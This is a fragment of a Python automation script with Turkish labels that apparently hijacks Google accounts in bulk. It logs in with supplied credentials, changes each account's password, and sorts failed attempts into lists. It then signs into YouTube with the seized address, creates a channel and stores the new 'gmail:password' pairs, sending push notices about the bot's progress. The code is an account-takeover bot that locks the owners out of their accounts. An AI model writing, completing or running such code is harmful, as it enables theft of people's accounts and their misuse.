1152 text = getBody()
1153
1154 try:
1155 if(not "@gmail.com" in text):
1156 addToOzel(info)
1157 failC += 1
1158 endSession()
1159 continue
1160 except:
1161 pass
1162
1163 newPass = changeAccountInfo(password, newPass, text)
1164 elif(flag == 4):
1165 addToCop(info)
1166 failC += 1
1167 endSession()
1168 continue
1169 else:
1170 addToTekrar(info)
1171 endSession()
1172 continue
1173
1174 else:
1175 url = getUrl()
1176 if("mail/" in url
1177 or "inbox" in url):
1178 gmail = manuel(password, newPass)
1179 g = gmail.split(":")
1180 gmail = g[0]
1181 newPass = g[1]
1182 else:
1183 print("-----RAPOR EDILMELI!!!!")
1184 addToOzel(info)
1185 endSession()
1186 continue
1187
1188 time.sleep(5)
1189 pyautogui.hotkey('alt', 'f4')
1190 try:
1191 driver = setYoutubeDriver()
1192 loginYoutube(str(gmail), newPass)
1193 text = getBody()
1194 if not "The email and password" in text:
1195 createYoutube(str(gmail), newPass)
1196 info = str(gmail) + ":" + newPass
1197 addToGmail(info)
1198 sucC += 1
1199 endSession()
1200 continue
1201 except:
1202 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1203 try:
1204 driver.close()
1205 except:
1206 pass
1207 try:
1208 info = str(gmail) + ":" + newPass
1209 addToGmail(info)
1210 except:
1211 pass
1212 sucC += 1
1213 endSession()
1214
1215 push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1216except Exception as e:
1217 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1218